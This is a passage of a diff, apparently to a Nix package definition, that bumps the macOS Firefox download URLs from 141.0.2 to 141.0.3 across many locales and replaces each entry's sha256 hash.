+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/bn/Firefox%20141.0.3.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "90a2e80c13aca69bbd79b85be1cf6b96dd88ddfd4e03ad427005899ace1889c4";
+      sha256 = "5fe6b0b130f8e80ffa295fee98d38036a864bb465f3aee289fc2429e5a9358f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/br/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/br/Firefox%20141.0.3.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "496ae5f681e8b33d351643ca4a18846bb36a28113738e86b0fe9ebf435edaa81";
+      sha256 = "10bc04de7b31281c58738f05a8795a04ced567e8debd6fbd7847d53420dcd0fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/bs/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/bs/Firefox%20141.0.3.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "6b913c6986c21e2f146d09b36c60fc155ecb7d3da3f72d3f4764670e3ee8d43e";
+      sha256 = "1045d566ea8ec40344febb89214fbab1bc46c6f28bd3a3e10293f37dfb4f5063";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ca-valencia/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ca-valencia/Firefox%20141.0.3.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "f247b57df3f15192ee1be8c3ce783c0886e6b5a9e784226c09164a0971595689";
+      sha256 = "33668ba6982b9e4152674ff617b90e878c3d487cc471a113b63bcd4a062f4e6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ca/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ca/Firefox%20141.0.3.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "645144058ebc566458d8731bba87c4bba115fbe9e5021c4b15f7ed6c8cfe88f6";
+      sha256 = "17a9543de81d34ade407aad7d1fe6cb0533adbf24b70d514cad1007b2a894c0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/cak/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/cak/Firefox%20141.0.3.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "4664c13814c00b1ba204b0b5db63c3c1f443981edb4c1af52a9f65ddda793a04";
+      sha256 = "1090cec0a21a4e1d9cf31910b3632d052cb6fb1811b18ab06ed27427e4b20940";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/cs/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/cs/Firefox%20141.0.3.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "24a181a720ae7ad1af4ca025f0a39088f821f3282a5339391b341187b5d1975b";
+      sha256 = "6ac4afd1edc5a7cc0bff143d16c04f4cc9cc016282f664a06a1c873ee1b5d7fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/cy/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/cy/Firefox%20141.0.3.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "63774d8bd4099e9bd44ccf62643e5fe5a3db903df98e8d3238af00b8e52c7591";
+      sha256 = "277215999fd59088a7ceda9e8918df27989920c16e326351dda6c75468f1a7a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/da/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/da/Firefox%20141.0.3.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "4f335c4e5dfb2bf60203ab7c80c13243b31a61da7918ce4b796fe0b76c3cbf96";
+      sha256 = "ade16d20e8647b3c37c8ca9f04e214abb33262c83d8a64edec468c224857ee27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/de/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/de/Firefox%20141.0.3.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "c50b62baa33d6aa73f989ac7520259f69e66e00bb3c31a8b2ab4376f6a929ad9";
+      sha256 = "7724319830781b585946bdf5b74577fb63339513d1d8fc92829b7b310e2a98e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/dsb/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/dsb/Firefox%20141.0.3.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "b167c1ae87b7daf423e68669ee17d0cc69d4fb7988c37ba9c9dfc3742ba6d258";
+      sha256 = "fdf0dee85f200db133600c4d461b3750cf3e6849821d83dd949935bf5843ca16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/el/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/el/Firefox%20141.0.3.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "5d3eec971607cbde0cce49f4bd8c29c125b6b2b29eb19196ec1a06fed232e575";
+      sha256 = "2685246fdee90d48dbfe13c75e4f702d5e413ea1ab696639bf0e83e05b495a5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/en-CA/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/en-CA/Firefox%20141.0.3.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "2bec21600f310140bd69e431d88e241a77b1425ad068954011a457b2453a038d";
+      sha256 = "c99d230960d93b3f6376b6e299593bcfaf80680b2333c2373a73ed9be6aaea54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/en-GB/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/en-GB/Firefox%20141.0.3.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "06c2e04378f0c274e7a64537baa2af915c38c0524d243b030cb3feb64e7dcbc2";
+      sha256 = "46942a1dad7d20c46fdf3b7b2c3dda0bf7ec87eda34765600838f97a4f6ac1e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/en-US/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/en-US/Firefox%20141.0.3.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "1cd69b03bcf48b9eef1b5221bd4297469d60026139f29213b571e32a993fe2f8";
+      sha256 = "bb922cda690543bddaa1fbc3b3cba508c60774832643452bc266595331f42db1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/eo/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/eo/Firefox%20141.0.3.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "5da7ecbffffe9cdaf8d9b60a4a393c7c5488918a944dcd7ac5907466f9c27a38";
+      sha256 = "826ab0d511294ae77c0c8d7ee50a5449b29c87138aa3ad35ca4cf1fa5d412da4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/es-AR/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/es-AR/Firefox%20141.0.3.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "84214007dce9ed67bf3622d805e3931ff54ca51c316bf278ae503a01baa1e466";
+      sha256 = "0a7e1ea2de529ffb1bc604638d5bf10797b7fa7b1c17e85f09d4ac9e3d0d3ad7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/es-CL/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/es-CL/Firefox%20141.0.3.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "d868012a50f50040481c0ce35e55a9de34a41b6e8df5a4f9748a1b6b8444dba9";
+      sha256 = "840f73937407c1fd64c6b87ab2c37aa0ecf29d52a12e64e9c93cbeb2cdc9a80b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/es-ES/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/es-ES/Firefox%20141.0.3.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "f9e9800cd41c725ba8306c1b12dd1f3587de4e1d2813995b242bcd5ec56942b0";
+      sha256 = "f13dfb899c830e765bb4daf655c59932ce2a56de9a26b3472066324aa213698b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/es-MX/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/es-MX/Firefox%20141.0.3.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "dad02c5a8e0589c9fee17f7b76bfde7dc6bf8421b8c9a2b1ed3fc5e1935e562c";
+      sha256 = "09909157b6a3c443f699adca7d86d7426413b229235c60547668a1cf1d49a6f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/et/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/et/Firefox%20141.0.3.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "877b1a3261aef7fe2aaec1cc36b5e27edfb2567a5f7099d10e7ab23a3683b43d";
+      sha256 = "ef7bede85a21ef30007a04e7952f4865ee78b593cadeb05b72a2e271a0549cc8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/eu/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/eu/Firefox%20141.0.3.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "4556041663c35a501d5f90ab9cd01cfe54925618a37df6334430941a5d878c5a";
+      sha256 = "1eb1c38d05bd0275002a3badd4a4e1b1140bd6630ac76634dde34dae17e1169e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fa/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fa/Firefox%20141.0.3.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "bdd1ecb59e8fa9f05663e1798f872d605c08d761c97369f8f43fbbb7734b76c3";
+      sha256 = "0bd4b3819f8f6e463da0eb12dc41ca12d1dc6b65e597ff811c79065872229cf4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ff/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ff/Firefox%20141.0.3.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "5e3eea0fc7e409ea145f956eddca0833af6535847dcf833d023aea90f4e981c7";
+      sha256 = "97934e1c6396fe20fb8a02f07cd20eabee96d08c9de137dda3a81db2931bdfbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fi/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fi/Firefox%20141.0.3.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "455d4b279ddde9dcbeb62494a3fe0fbc68240084aeb00ad679650e32d8dcde59";
+      sha256 = "cdd665861133f2544faa94a0f35efa0c0ce70c3a53df9575b66fc5d34e32cd1e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fr/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fr/Firefox%20141.0.3.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "b32c1573430b3740aec550d9d3ebc416670188db31a6801b92304124fbc253d3";
+      sha256 = "de491c95711aa2fad263eb882d3df85d814999d77785321b3285b6da0322c955";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fur/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fur/Firefox%20141.0.3.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "470f1df6e54ae2eb3b3285d5cd76f795930a328e79b1cb7b11ec48b9e3630bc5";
+      sha256 = "12c4fbc2222b77e4a7864f01989b13d2388025550fb31a8daa3670015753df87";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fy-NL/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/fy-NL/Firefox%20141.0.3.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "2c26e58bd7fa0ec9f2658fd7fa72ee178269f748e13b80651fa12758135c1e1f";
+      sha256 = "5e9b832f8d9dc946fa30a1dc92aeb0096ff81c13c14e990a2a2b5f9740a18d68";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ga-IE/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ga-IE/Firefox%20141.0.3.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "e9d1c3d8da2097651f57636ff507f39ba6c0d104388ef148eff4198b1ffd2de2";
+      sha256 = "f40457fb8375a1d708aba9bb59e95fdae5fa375c77bca3a1ed2309627b979cb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/gd/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/gd/Firefox%20141.0.3.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "78822e7c31ebb7856fa225351916fe83f809d0d10df6e5e6e7b3320960719bb9";
+      sha256 = "a361ba1570456cc1973d7ac41ea70315a68dea38f2acc524aaa716d3e07401d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/gl/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/gl/Firefox%20141.0.3.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "2e6fdf7b5a8f2837ddb9efe2f42520560b0d0bba827c8a8d0d7f2afb4e9cb6d0";
+      sha256 = "7bfd06d194a071ea73c7104b252d8c485577f96d1248b7e45f885fcc16282bfc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/gn/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/gn/Firefox%20141.0.3.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "480abd37bc2697f515ef8840f982fd5589dc84b97ee786c162984356dbcb9888";
+      sha256 = "10581e91db1520aae3dfe2f022d4a63a72bf35d3ed370fc9c7d2139ad18efc31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/gu-IN/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/gu-IN/Firefox%20141.0.3.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "569ab91ec1c4f92cc97e92608883ed9583b1b2e494cfbe91c2ceafe13c43c399";
+      sha256 = "46a8bcb2fdf8beba7b6d1d2dd865a5d946eb9831cf2de829a9fa95ad52278a6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/he/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/he/Firefox%20141.0.3.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "d11ce1abc2106747d2e207efaf8b594fc398d9c8f2f3e3f44a1e5d8e7d4632c5";
+      sha256 = "c6d9b59bfb3130b793b69adf7a82994d2cb37dcc48f12d0a26db85692e596f71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hi-IN/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hi-IN/Firefox%20141.0.3.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "cb546d6249436bf9a79776c0cb02e973001dce8c4f01953a455461a8a3b8bdfe";
+      sha256 = "e13e83521bac0656a2fcf16d315d2cfb7b0012e9751e8d9bb60ff41b983f6ef5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hr/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hr/Firefox%20141.0.3.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "1638f0ed74a4ab0a1376f7a1997177de9ede38a3ee93cae6255f0898decbc42b";
+      sha256 = "d4f2a6217677d69961202c43789b0642abc11e6051480d621dd915d71afd0343";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hsb/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hsb/Firefox%20141.0.3.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "0ff57da60c0390437acec14bd5f77c11dd13a18a3cbd91227bdab3cc3e945bed";
+      sha256 = "3a477450a0a4bb97a5cc6fc5dbe27c691c78476368fbeef1a1081301eb6e78b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hu/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hu/Firefox%20141.0.3.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "568c2838ffd99c54bef5545ac0afe80de79836cfe2da1953c052bbd290314aad";
+      sha256 = "6cb7b635a32f588656016610b4df95cfb2287285c16cce9688600ce63b49b7f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hy-AM/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/hy-AM/Firefox%20141.0.3.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "b01a93b97a7e43c2786d0bef0de861475b9d5d05e05b4fc35f4537f90434ab50";
+      sha256 = "6095d30504f6796e620b62301cd9313d6edab557beacd466ce72dc25279b7ab6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ia/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ia/Firefox%20141.0.3.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "303b2b923d72d7010a2540e6ab613d69cfecda9f70d7304eaec8c54b85583a29";
+      sha256 = "e8b2dcffbb552ff2cb43e8cc1a525c5648cefb917f39b212828213e4b10470e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/id/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/id/Firefox%20141.0.3.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "c77f27309b33fc0f712eae700351c1e094bfdac09a2758b8f8d93493532897e6";
+      sha256 = "3b2ae0efe9bbcd37c64c2965170975caf9ead3e4cc33f4be298cebf55a23b3fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/is/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/is/Firefox%20141.0.3.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "78cc0781bf9aae9a4e4ab694a0fa6040261c462eaadef3a490e1931c44b92c6a";
+      sha256 = "7b1b115b29d476b69ba1e88cc9db5007e4c4b208969e221d3e80216b875d8503";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/it/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/it/Firefox%20141.0.3.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "bc0148a080b8224053c5a0b0efa68b9c6419045d2786cbfd4425a959341c52b7";
+      sha256 = "c93acbf4407d58b4573f6caa9b277cd12a08811e6057bc4629d726db8f6ed3b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ja-JP-mac/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ja-JP-mac/Firefox%20141.0.3.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "9b4cf019dde4fe74ebf28bfe22b319933057d3174197707782b1f40e5926323d";
+      sha256 = "0a479b7510dd46e753b087ffddd177b3bdc6109189d3a4380fc02bbb22520d30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ka/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ka/Firefox%20141.0.3.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "707ea751e9ad4983f167bf27bc01aeb696057762e092b6b7a622618b8167ecbb";
+      sha256 = "8ab9148451d9872881d055dc415dbea8e86bf37a98e7823dacd7253dd3552c30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/kab/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/kab/Firefox%20141.0.3.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "85e78a08ed5412979d41adc190e54f23e3c4c5dbc991ea9ae6cb4347673936e2";
+      sha256 = "acef8bc598d82334be458ce69ef6f51e02ca19626c6410a87fb3a4bbe2e03d5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/kk/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/kk/Firefox%20141.0.3.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "39930b4985cb2e654117f281b7b02bfa401688052addf6263b1eaa0af7519b4a";
+      sha256 = "9c67da1022095444d85d12030bd188d6bb7c783543af9656ae572ef2ac23d1f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/km/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/km/Firefox%20141.0.3.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "783ce0c8726efe7577f44fae12daeb70cdb81093359f95f5d911e207141d13eb";
+      sha256 = "bf20a6b3d30e8f102f699ec38c4d110f8d679b0a37cc4a8ba42cecdd668ea8e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/kn/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/kn/Firefox%20141.0.3.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "cade57a63a69072290421f073bb11490259e951247fe7c8407e58eebe669602f";
+      sha256 = "403c94d88679552b2eec61f947ed4321c7bb7ecdcd1af3447d3a62a80e8208b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ko/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ko/Firefox%20141.0.3.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "536b100a81b14923a36ecfd4af0ab58e6f70f7ebd241f273dd51779baf3c7bae";
+      sha256 = "b2524ae1e6e51231ef18bd401984d6d6849eeb0fec026673b982a7fccb811610";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/lij/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/lij/Firefox%20141.0.3.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "7c2c26d72b73131a107c94fbb7845af0fae518b3ece4b770ee589966fb76090f";
+      sha256 = "67082cf180f09dff8d7abb6d134715c57e6bb5e69f4333d9cbf934d64b57ed21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/lt/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/lt/Firefox%20141.0.3.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "d22fa6a4ff4a52f2ee9d3e0a79e1b1fb5e4f025cac098dd025ae71b5a1d41709";
+      sha256 = "73e78a66b83e8fc1d322d62da0e5a9867107aae4402e3e66300b094429cb6c08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/lv/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/lv/Firefox%20141.0.3.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "a7e0e25d39f82be3205baaafe92e419fff613683d9cf4cfe3e25d9b21ef67014";
+      sha256 = "8118afb0a22a20b3f169c304eeb41a3440fc7b166840337bdf38bc622d47b1e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/mk/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/mk/Firefox%20141.0.3.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "1f3e595352b9a8f79ab35f066905a20b8b567b2ce7a19db0983b42f0dd1a3e51";
+      sha256 = "fa955e41454ec3cb3a848b8aaf3b6f0aa2e415c4e357c4d561f103f65433fecb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/mr/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/mr/Firefox%20141.0.3.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "9eed2e2e2b99d7e90fb2b470560f0b039c64920011bd3326b7629f240af1dee3";
+      sha256 = "e7d3301568b49163d2887644e4fcbc0d24c6fae19086352d3fe36cfd4eb07e13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ms/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ms/Firefox%20141.0.3.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "ccfd4267396e60c20d580112be25c82b4627a7c7755e666e036c07862151dd24";
+      sha256 = "ea87596de497e8c34fdd8066c20da7011963f89e364b99aba63ce6252e4e1c29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/my/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/my/Firefox%20141.0.3.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "a6f1e3305fd00974b0414dc898fe9f30c0173cc2eb1faa6a9ced1900b18854c6";
+      sha256 = "1f88103e6bf4539bb28b8b99fa9e176c85c416e55d0cf92dc8429eec0435c0ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/nb-NO/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/nb-NO/Firefox%20141.0.3.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "ca5081d0e28ba87a99d3738f9650cce9fb2dc15dd85bf6a100a7ddae9c91dd89";
+      sha256 = "4ac0e10d8cf5e01e521097a795a71b1099f4d2a29291432f2071df4154a8b8eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ne-NP/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ne-NP/Firefox%20141.0.3.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "761b3dee5f3948a3401e8676de9e678260e1d4f174797bee38cc3919d394d3b3";
+      sha256 = "8b9374a47e77243acb1fa49a693ccf3fde19f070b413bf8ebd9056dee5f88a3a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/nl/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/nl/Firefox%20141.0.3.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "b74ea182876961a5a67b20cad3724dffe5fef7d8ea7a8b039bbf5296fbfaede0";
+      sha256 = "a9ec1c87d44478fdd1e16fc8d4d5df0f08394a6d99b6234083548a097dc9f714";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/nn-NO/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/nn-NO/Firefox%20141.0.3.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "9607df3f9615535d89ab5752ae4f07151ba24ef2a36436fb083f8f15667ea5b5";
+      sha256 = "44bbf70a73c514f16a284435a05b8437329200566ee17b4ac280b6b3bcc44bc7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/oc/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/oc/Firefox%20141.0.3.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "d34122d58cdb7964041fd3c1b16fc3b8bae925649bd3910da96c486be3069a83";
+      sha256 = "982ddc81f4800ecb3bede88e2f17eccc4288a8b8e93523677227ee5b830c8b47";
     }
     {
